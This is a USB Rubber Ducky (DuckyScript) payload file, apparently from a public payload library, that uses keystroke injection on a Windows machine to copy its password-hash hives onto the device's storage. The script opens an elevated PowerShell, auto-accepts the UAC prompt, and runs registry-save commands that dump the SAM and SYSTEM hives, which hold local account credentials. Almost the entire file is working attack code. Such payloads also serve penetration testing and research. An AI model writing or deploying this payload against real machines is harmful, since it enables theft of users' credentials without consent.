Path: blob/master/payloads/library/exfiltration/NTLM_ducky/payload.txt
2968 views
REM_BLOCK1TITLE Exfiltrate NTLM Hash Files onto Ducky Storage2AUTHOR Luu1763DESCRIPTION This payload exfiltrates NTLM hash files (which contain hashed passwords for users4on the current Windows device) to the Rubber Ducky's SD card for further analysis.5It utilizes PowerShell commands to locate and save NTLM files (SAM and SYSTEM) to6the defined storage drive on the Ducky device.7END_REM89DEFINE #driveLabel DUCKY10REM below you can set the number of blinks for the caps lock when finished (default 9)11DEFINE #numBlinks 91213ATTACKMODE HID STORAGE1415EXTENSION PASSIVE_WINDOWS_DETECT16REM VERSION 1.117REM AUTHOR: Korben1819REM_BLOCK DOCUMENTATION20Windows fully passive OS Detection and passive Detect Ready21Includes its own passive detect ready.22Does not require additional extensions.2324USAGE:25Extension runs inline (here)26Place at beginning of payload (besides ATTACKMODE) to act as dynamic27boot delay28$_OS will be set to WINDOWS or NOT_WINDOWS29See end of payload for usage within payload30END_REM3132REM CONFIGURATION:33DEFINE #MAX_WAIT 15034DEFINE #CHECK_INTERVAL 2035DEFINE #WINDOWS_HOST_REQUEST_COUNT 236DEFINE #NOT_WINDOWS 73738$_OS = #NOT_WINDOWS3940VAR $MAX_TRIES = #MAX_WAIT41WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))42DELAY #CHECK_INTERVAL43$MAX_TRIES = ($MAX_TRIES - 1)44END_WHILE45IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN46$_OS = WINDOWS47END_IF4849REM_BLOCK EXAMPLE USAGE AFTER EXTENSION50IF ($_OS == WINDOWS) THEN51STRING HELLO WINDOWS!52ELSE53STRING HELLO WORLD!54END_IF55END_REM56END_EXTENSION5758SAVE_HOST_KEYBOARD_LOCK_STATE59IF ($_CAPSLOCK_ON == TRUE)60CAPSLOCK61END_IF62GUI d63DELAY 100064GUI r65DELAY 50066STRINGLN powershell Start-Process powershell -Verb runAs67DELAY 80068ALT y69DELAY 80070STRINGLN cd (gwmi win32_volume -f 'label=''#driveLabel''').Name;reg save hklm\sam SAM;reg save hklm\system SYS;(New-Object -ComObject wscript.shell).SendKeys('{CAPSLOCK}');exit71GUI d72WAIT_FOR_CAPS_ON73REM once finished downloading SAM and SYSTEM, caps lock LED turn on and then flash (note: may take a couple minutes max to download)74VAR $i = 075WHILE ( $i < #numBlinks )76DELAY 15077CAPSLOCK78$i = ( $i + 1 )79END_WHILE80RESTORE_HOST_KEYBOARD_LOCK_STATE818283